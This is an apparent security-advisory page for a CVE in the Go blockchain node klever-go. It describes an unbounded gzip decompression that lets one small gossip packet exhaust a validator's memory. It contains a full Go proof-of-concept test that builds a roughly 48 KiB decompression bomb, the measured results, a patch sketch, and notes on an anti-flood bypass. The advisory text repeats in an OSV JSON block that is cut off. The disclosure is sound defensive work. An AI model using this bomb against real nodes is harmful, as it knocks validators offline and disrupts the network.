CVE-2026-44697: Github.com/klever io/klever go Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-87m7-qffr-542v
CVSS 8.6
CWE-409 CWE-770
Published
Advisory Summary

CVE-2026-44697 is a HIGH (CVSS 8.6) remote code execution vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting Github.com/klever io/klever go libraries in the Go ecosystem. The issue involves klever-go multidatainterceptor has remote oom via crafted compressed p2p payload. Remediation is available in the latest vendor maintenance releases.

CVE-2026-44697 at a Glance

CVE Identifier CVE-2026-44697
GHSA Identifier GHSA-87m7-qffr-542v
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product Github.com/klever io/klever go
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-44697

To remediate this vulnerability, upgrade all affected Github.com/klever io/klever go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/klever-io/klever-go fixed: Latest secure release
Upgrade github.com/klever-io/klever-go to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/klever-io/klever-go

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44697, inspect your project dependencies for Github.com/klever io/klever go:

inspect dependencies for github.com/klever-io/klever-go

Analyze the terminal output to locate any version of Github.com/klever io/klever go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In Github.com/klever io/klever go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A remote, unauthenticated denial-of-service vulnerability in `Batch.Decompress` (`data/batch/batch.go`) allows any peer that participates in a topic served by `MultiDataInterceptor` to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness. The vulnerability was identified during an internal security review of `core/process/interceptors/multiDataInterceptor.go` at commit `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and substantially more severe than, the throttler-slot-leak vulnerability disclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in the same call path; the patches must land together in one release (rc2 superseding rc1). Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs. ## Description `MultiDataInterceptor.ProcessReceivedMessage` (`core/process/interceptors/multiDataInterceptor.go:79`) handles every gossip message received on the topics the interceptor is registered for. At lines 95–102 it conditionally decompresses the payload via `Batch.Decompress`: ```go if b.IsCompressed { err = b.Decompress(mdi.marshalizer) if err != nil { ... return err } } ``` `Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to `decompressGzip` (`data/batch/batch.go:35-53`), which performs an unbounded `io.ReadAll` on the gzip reader: ```go func decompressGzip(data []byte) ([]byte, error) { rdata := bytes.NewReader(data) reader, err := gzip.NewReader(rdata) if err != nil { return nil, err } result, err := io.ReadAll(reader) // no LimitReader, no DataSize check ... } ``` After the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated bytes back into the `Batch` value, again with no size cap. The attacker-set `ba.DataSize` field is never validated on decompression, so the lie is free. The order of operations in `ProcessReceivedMessage`: ``` preProcessMessage -> anti-flood by COMPRESSED size only marshalizer.Unmarshal(&b, ..) -> outer Batch (small, cheap) b.Decompress(...) -> UNBOUNDED here (bomb explodes) ... b.Data populated with N entries ... antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...) ``` The count-budget anti-flood check at line 111 runs *after* `Decompress` completes, so no anti-flood configuration can prevent the explosion. The only gate above `Decompress` is `preProcessMessage`'s byte budget, which sees only the *compressed* payload size and is trivially satisfied by a sub-MB bomb. ## Proof of Concept The PoC is a self-contained Go test that exercises the real `data/batch.Batch.Decompress` function and the production `factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction (marshal a `Batch` of millions of empty entries, gzip, wrap in an outer compressed `Batch`) and the receiver-side path (`mrs.Unmarshal` → `received.Decompress(mrs)`) are exactly what runs in production at the reviewed commit. The headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a ~48 KiB outer wire payload that decompresses to 25 million `[]byte` entries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress` to capture the peak (since the inflated buffer is freed once `Decompress` returns). ### Test source Place the file under `playground/p2pflood/c2_decompression_bomb_test.go` in a checkout of the reviewed commit, then run: ``` go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/... ``` ```go package p2pflood_test import ( "bytes" "compress/gzip" "runtime" "sync/atomic" "testing" "time" "github.com/klever-io/klever-go/data/batch" "github.com/klever-io/klever-go/tools/marshal/factory" ) const inflatedSize = 256 << 20 // 256 MiB // buildGzipOfZeros: streams `size` zero bytes through a gzip writer. // A real attacker produces this offline; the streaming form here keeps // the test's own attacker-side allocation small. func buildGzipOfZeros(t *testing.T, size int) []byte { t.Helper() var buf bytes.Buffer gz := gzip.NewWriter(&buf) chunk := make([]byte, 1<<20) for written := 0; written < size; { n := len(chunk) if size-written < n { n = size - written } if _, err := gz.Write(chunk[:n]); err != nil { t.Fatalf("gzip write: %v", err) } written += n } if err := gz.Close(); err != nil { t.Fatalf("gzip close: %v", err) } return buf.Bytes() } // peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and // returns (peak, baseline). In-flight sampling is required because // Decompress's internal allocations may be reclaimed by GC before the // function returns. func peakHeapDuring(fn func()) (peak, baseline uint64) { runtime.GC() var ms runtime.MemStats runtime.ReadMemStats(&ms) baseline = ms.HeapAlloc var stop atomic.Bool peakPtr := new(atomic.Uint64) peakPtr.Store(baseline) done := make(chan struct{}) go func() { ticker := time.NewTicker(5 * time.Millisecond) defer ticker.Stop() var s runtime.MemStats for !stop.Load() { runtime.ReadMemStats(&s) cur := s.HeapAlloc for { old := peakPtr.Load() if cur <= old || peakPtr.CompareAndSwap(old, cur) { break } } <-ticker.C } close(done) }() fn() stop.Store(true) <-done return peakPtr.Load(), baseline } // TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration. // All-zeros inflated payload; inner Unmarshal-after-decompress fails, // but the gzip output buffer is already allocated. func TestC2_DecompressionBomb_RawZeros(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err) } bombStream := buildGzipOfZeros(t, inflatedSize) bomb := &batch.Batch{ IsCompressed: true, Algo: batch.CType_GZip, Stream: bombStream, DataSize: 1, // a lie — Decompress ignores it } wire, err := mrs.Marshal(bomb) if err != nil { t.Fatalf("marshal: %v", err) } t.Logf(" wire payload (after Marshal): %d bytes (%.2f KiB)", len(wire), float64(len(wire))/1024.0) t.Logf(" advertised DataSize: %d", bomb.DataSize) t.Logf(" actual decompressed size: %d bytes (%.2f MiB)", inflatedSize, float64(inflatedSize)/(1<<20)) bomb = nil bombStream = nil runtime.GC() received := &batch.Batch{} if err := mrs.Unmarshal(received, wire); err != nil { t.Fatalf("receiver outer unmarshal: %v", err) } if !received.IsCompressed { t.Fatalf("expected IsCompressed=true after outer unmarshal") } start := time.Now() var decompressErr error peak, baseline := peakHeapDuring(func() { decompressErr = received.Decompress(mrs) }) elapsed := time.Since(start) allocated := peak - baseline amp := float64(allocated) / float64(len(wire)) t.Logf(" Decompress error: %v (irrelevant — heap already allocated)", decompressErr) t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)", allocated, float64(allocated)/(1<<20)) t.Logf(" elapsed: %v", elapsed) t.Logf(" amplification: %.0fx (wire -> heap)", amp) if allocated < uint64(inflatedSize/2) { t.Fatalf("heap delta only %.2f MiB — vuln may already be patched", float64(allocated)/(1<<20)) } if amp < 100 { t.Fatalf("amplification only %.1fx — expected >>100x", amp) } } // TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream // decompresses to a valid marshaled Batch with N=25M empty entries. // Decompress's internal Unmarshal succeeds and additionally allocates // the [][]byte slice. All before any count-based anti-flood runs. func TestC2_DecompressionBomb_ValidInner(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err) } const N = 25_000_000 innerBatch := &batch.Batch{Data: make([][]byte, N)} innerWire, err := mrs.Marshal(innerBatch) if err != nil { t.Fatalf("inner marshal: %v", err) } innerBatch = nil runtime.GC() var compressed bytes.Buffer gz := gzip.NewWriter(&compressed) if _, err := gz.Write(innerWire); err != nil { t.Fatalf("gz write: %v", err) } if err := gz.Close(); err != nil { t.Fatalf("gz close: %v", err) } innerWireLen := len(innerWire) innerWire = nil runtime.GC() bomb := &batch.Batch{ IsCompressed: true, Algo: batch.CType_GZip, Stream: compressed.Bytes(), DataSize: 1, } wire, err := mrs.Marshal(bomb) if err != nil { t.Fatalf("outer marshal: %v", err) } t.Logf(" inner wire (uncompressed): %d bytes (%.2f MiB)", innerWireLen, float64(innerWireLen)/(1<<20)) t.Logf(" outer wire (gzip-wrapped): %d bytes (%.2f KiB)", len(wire), float64(len(wire))/1024.0) t.Logf(" inner -> outer compression: %.0fx", float64(innerWireLen)/float64(len(wire))) bomb = nil compressed.Reset() runtime.GC() received := &batch.Batch{} if err := mrs.Unmarshal(received, wire); err != nil { t.Fatalf("receiver outer unmarshal: %v", err) } start := time.Now() var decompressErr error peak, baseline := peakHeapDuring(func() { // Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the // count-budget anti-flood at line 111. decompressErr = received.Decompress(mrs) }) elapsed := time.Since(start) allocated := peak - baseline amp := float64(allocated) / float64(len(wire)) t.Logf(" Decompress returned: %v", decompressErr) t.Logf(" Decompressed b.Data length: %d (matches N=%d? %v)", len(received.Data), N, len(received.Data) == N) t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)", allocated, float64(allocated)/(1<<20)) t.Logf(" elapsed: %v", elapsed) t.Logf(" amplification: %.0fx (wire -> heap)", amp) if decompressErr != nil { t.Fatalf("Decompress unexpectedly failed: %v", decompressErr) } if len(received.Data) != N { t.Fatalf("inner Unmarshal lost entries: got %d want %d", len(received.Data), N) } if allocated < 256<<20 { t.Fatalf("heap delta only %.2f MiB — expected >256 MiB", float64(allocated)/(1<<20)) } runtime.KeepAlive(received) } ``` ### Measured output Apple-silicon dev machine, `go 1.25`, against commit `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`: ``` === RUN TestC2_DecompressionBomb_RawZeros wire payload (after Marshal): 260938 bytes (254.82 KiB) advertised DataSize: 1 actual decompressed size: 268435456 bytes (256.00 MiB) Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated) peak heap during Decompress: +887994584 bytes (846.86 MiB) elapsed: 155.79ms amplification: 3403x (wire -> heap) --- PASS: TestC2_DecompressionBomb_RawZeros (0.52s) === RUN TestC2_DecompressionBomb_ValidInner inner wire (uncompressed): 50000000 bytes (47.68 MiB) outer wire (gzip-wrapped): 48642 bytes (47.50 KiB) inner -> outer compression: 1028x Decompress returned: <nil> Decompressed b.Data length: 25000000 (matches N=25000000? true) peak heap during Decompress: +2218262232 bytes (2115.50 MiB) elapsed: 582.92ms amplification: 45604x (wire -> heap) --- PASS: TestC2_DecompressionBomb_ValidInner (0.75s) ``` Reproduction: any commit that includes `data/batch/batch.go` in its current `decompressGzip`/`Decompress` form. The PoC does not depend on libp2p, the live interceptor stack, or any deployed configuration — the bug is in `Batch.Decompress` itself; any caller that reaches it pays for the unbounded allocation. The PoC sources (along with a companion test for the bundled slice-prealloc finding) live under `playground/p2pflood/` on the maintainer's local workstation and have not been pushed to any branch. They will be converted into a regression-test suite alongside the patch in the private fork. ## Impact A single connected peer publishing on a topic served by `MultiDataInterceptor` (which on a public chain includes any anonymous gossip publisher) can cause the receiving node to allocate 2+ GiB of heap in under one second per packet. With the default deployed configuration (`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an attacker can ship roughly 80 such bombs per second per connected peer before tripping the per-peer byte budget. The per-peer message count limit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000 before blacklisting) is high enough to permit the attack to run for several seconds before any blacklist activates. By that point the node process is already OOM-killed. Realistic attack scenarios: * A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes). * A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness. * Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer. ## Affected Code * `data/batch/batch.go:35-53` — `decompressGzip`, unbounded `io.ReadAll` * `data/batch/batch.go:109-137` — `Batch.Decompress`, ignores `DataSize`, re-`Unmarshal`s inflated bytes * `core/process/interceptors/multiDataInterceptor.go:95-102` — call site * `core/process/interceptors/multiDataInterceptor.go:84-94` — preceding `Unmarshal` step ## Patches A patch is in preparation on a private branch and will land in rc2, together with the fix for `GHSA-74m6-4hjp-7226`. The intended fix shape: ```go const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic func decompressGzip(data []byte, max int64) ([]byte, error) { r, err := gzip.NewReader(bytes.NewReader(data)) if err != nil { return nil, err } defer r.Close() lr := io.LimitReader(r, max+1) out, err := io.ReadAll(lr) if err != nil { return nil, err } if int64(len(out)) > max { return nil, ErrDecompressionTooLarge } return out, nil } func (ba *Batch) Decompress(m marshal.Marshalizer) error { if !ba.IsCompressed { return common.ErrNotCompressed } if ba.DataSize > maxInflatedBatch { return ErrDecompressionTooLarge } result, err := decompressGzip(ba.Stream, maxInflatedBatch) if err != nil { return err } if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 { return ErrDecompressedSizeMismatch } if err := m.Unmarshal(ba, result); err != nil { return err } ba.Stream, ba.IsCompressed = nil, false return nil } ``` The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack. A regression test based on the PoC will accompany the patch. ## Workarounds None at the configuration level. The `peerMaxInput.totalSizePerInterval` budget could theoretically be lowered, but as the PoC measurements show, a single bomb is already lethal on memory-constrained nodes. Patch is required. ## Bundled Hardening (no separate CVE) The following two issues were identified in the same call path during the review. They are not independently exploitable under the default deployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit and so do not warrant their own CVEs. They are remediated by the same patch as the headline vulnerability and are documented here for transparency. ### Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770) `multiDataInterceptor.go:123` performs: ```go listInterceptedData := make([]process.InterceptedData, len(multiDataBuff)) ``` `len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`, both of which are attacker-controlled. Under the default per-topic count budget this is bounded; a deployer who loosens that budget, or any future code path that bypasses it, would expose ≈16 bytes × attacker-chosen-N of allocation. The same patch caps `len(b.Data)` immediately after `Unmarshal`, again after `Decompress`, and before the make. The unconditional component of this finding — that `Decompress`'s internal `Unmarshal` populates `b.Data` with N `[]byte` slice headers (24 B each) before any count-budget check runs — is captured by the headline finding's PoC. ### Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693) `baseDataInterceptor.go:32` exempts messages from anti-flood enforcement when: ```go bytes.Equal(m.Signature(), m.From()) && bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) && fromConnectedPeer == bdi.currentPeerID ``` The first equality is a sentinel byte comparison, not a cryptographic check. Exploitability depends on whether the upstream libp2p stack verifies envelope signatures before reaching `preProcessMessage`. The patch replaces the sentinel with a defense-in-depth check and ensures throttler accounting still runs on the self-message path. ## Coordination with `GHSA-74m6-4hjp-7226` The maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`, which discloses an adjacent throttler-slot-leak finding in the same `ProcessReceivedMessage` function. The two CVEs are independently fixable per CNA Operational Rules, but operationally the patches must land in one release. rc2 will supersede rc1 and contain fixes for both advisories. Validators upgrade once. ## Credits Fernando Sobreira (maintainer, internal security review). ## References * Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2` * Related advisory: `GHSA-74m6-4hjp-7226` * CWE-409: https://cwe.mitre.org/data/definitions/409.html * CWE-770: https://cwe.mitre.org/data/definitions/770.html

CVE-2026-44697 Affected Github.com/klever io/klever go Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/klever-io/klever-go
Go
≤ 1.7.16

References

Frequently Asked Questions

What is CVE-2026-44697?
CVE-2026-44697 is a security vulnerability in Github.com/klever io/klever go involving Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which Github.com/klever io/klever go versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/klever-io/klever-go.
What version fixes CVE-2026-44697?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/klever-io/klever-go affected?
Yes, github.com/klever-io/klever-go is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-44697?
CVE-2026-44697 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H.
What CWE is associated with CVE-2026-44697?
CVE-2026-44697 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check Go dependencies for CVE-2026-44697?
Run the dependency tree command: 'inspect dependencies for github.com/klever-io/klever-go'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-87m7-qffr-542v",
  "modified" : "2026-07-21T13:53:46Z",
  "published" : "2026-05-13T01:36:27Z",
  "aliases" : [ "CVE-2026-44697" ],
  "summary" : "Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload",
  "details" : "## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95–102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n    err = b.Decompress(mdi.marshalizer)\n    if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n    rdata := bytes.NewReader(data)\n    reader, err := gzip.NewReader(rdata)\n    if err != nil { return nil, err }\n    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check\n    ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage              -> anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(&b, ..)  -> outer Batch (small, cheap)\nb.Decompress(...)              -> UNBOUNDED here  (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`'s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` → \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst inflatedSize = 256 << 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test's own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(&buf)\n\tchunk := make([]byte, 1<<20)\n\tfor written := 0; written < size; {\n\t\tn := len(chunk)\n\t\tif size-written < n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline). In-flight sampling is required because\n// Decompress's internal allocations may be reclaimed by GC before the\n// function returns.\nfunc peakHeapDuring(fn func()) (peak, baseline uint64) {\n\truntime.GC()\n\tvar ms runtime.MemStats\n\truntime.ReadMemStats(&ms)\n\tbaseline = ms.HeapAlloc\n\n\tvar stop atomic.Bool\n\tpeakPtr := new(atomic.Uint64)\n\tpeakPtr.Store(baseline)\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tticker := time.NewTicker(5 * time.Millisecond)\n\t\tdefer ticker.Stop()\n\t\tvar s runtime.MemStats\n\t\tfor !stop.Load() {\n\t\t\truntime.ReadMemStats(&s)\n\t\t\tcur := s.HeapAlloc\n\t\t\tfor {\n\t\t\t\told := peakPtr.Load()\n\t\t\t\tif cur <= old || peakPtr.CompareAndSwap(old, cur) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t<-ticker.C\n\t\t}\n\t\tclose(done)\n\t}()\n\n\tfn()\n\n\tstop.Store(true)\n\t<-done\n\treturn peakPtr.Load(), baseline\n}\n\n// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.\n// All-zeros inflated payload; inner Unmarshal-after-decompress fails,\n// but the gzip output buffer is already allocated.\nfunc TestC2_DecompressionBomb_RawZeros(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tbombStream := buildGzipOfZeros(t, inflatedSize)\n\n\tbomb := &batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       bombStream,\n\t\tDataSize:     1, // a lie — Decompress ignores it\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal: %v\", err)\n\t}\n\n\tt.Logf(\"  wire payload (after Marshal): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  advertised DataSize:          %d\", bomb.DataSize)\n\tt.Logf(\"  actual decompressed size:     %d bytes (%.2f MiB)\",\n\t\tinflatedSize, float64(inflatedSize)/(1<<20))\n\n\tbomb = nil\n\tbombStream = nil\n\truntime.GC()\n\n\treceived := &batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\tif !received.IsCompressed {\n\t\tt.Fatalf(\"expected IsCompressed=true after outer unmarshal\")\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress error: %v (irrelevant — heap already allocated)\", decompressErr)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1<<20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -> heap)\", amp)\n\n\tif allocated < uint64(inflatedSize/2) {\n\t\tt.Fatalf(\"heap delta only %.2f MiB — vuln may already be patched\",\n\t\t\tfloat64(allocated)/(1<<20))\n\t}\n\tif amp < 100 {\n\t\tt.Fatalf(\"amplification only %.1fx — expected >>100x\", amp)\n\t}\n}\n\n// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream\n// decompresses to a valid marshaled Batch with N=25M empty entries.\n// Decompress's internal Unmarshal succeeds and additionally allocates\n// the [][]byte slice. All before any count-based anti-flood runs.\nfunc TestC2_DecompressionBomb_ValidInner(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tconst N = 25_000_000\n\n\tinnerBatch := &batch.Batch{Data: make([][]byte, N)}\n\tinnerWire, err := mrs.Marshal(innerBatch)\n\tif err != nil {\n\t\tt.Fatalf(\"inner marshal: %v\", err)\n\t}\n\tinnerBatch = nil\n\truntime.GC()\n\n\tvar compressed bytes.Buffer\n\tgz := gzip.NewWriter(&compressed)\n\tif _, err := gz.Write(innerWire); err != nil {\n\t\tt.Fatalf(\"gz write: %v\", err)\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gz close: %v\", err)\n\t}\n\tinnerWireLen := len(innerWire)\n\tinnerWire = nil\n\truntime.GC()\n\n\tbomb := &batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       compressed.Bytes(),\n\t\tDataSize:     1,\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"outer marshal: %v\", err)\n\t}\n\tt.Logf(\"  inner wire (uncompressed):    %d bytes (%.2f MiB)\",\n\t\tinnerWireLen, float64(innerWireLen)/(1<<20))\n\tt.Logf(\"  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  inner -> outer compression:   %.0fx\",\n\t\tfloat64(innerWireLen)/float64(len(wire)))\n\n\tbomb = nil\n\tcompressed.Reset()\n\truntime.GC()\n\n\treceived := &batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\t// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the\n\t\t// count-budget anti-flood at line 111.\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress returned: %v\", decompressErr)\n\tt.Logf(\"  Decompressed b.Data length: %d (matches N=%d? %v)\",\n\t\tlen(received.Data), N, len(received.Data) == N)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1<<20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -> heap)\", amp)\n\n\tif decompressErr != nil {\n\t\tt.Fatalf(\"Decompress unexpectedly failed: %v\", decompressErr)\n\t}\n\tif len(received.Data) != N {\n\t\tt.Fatalf(\"inner Unmarshal lost entries: got 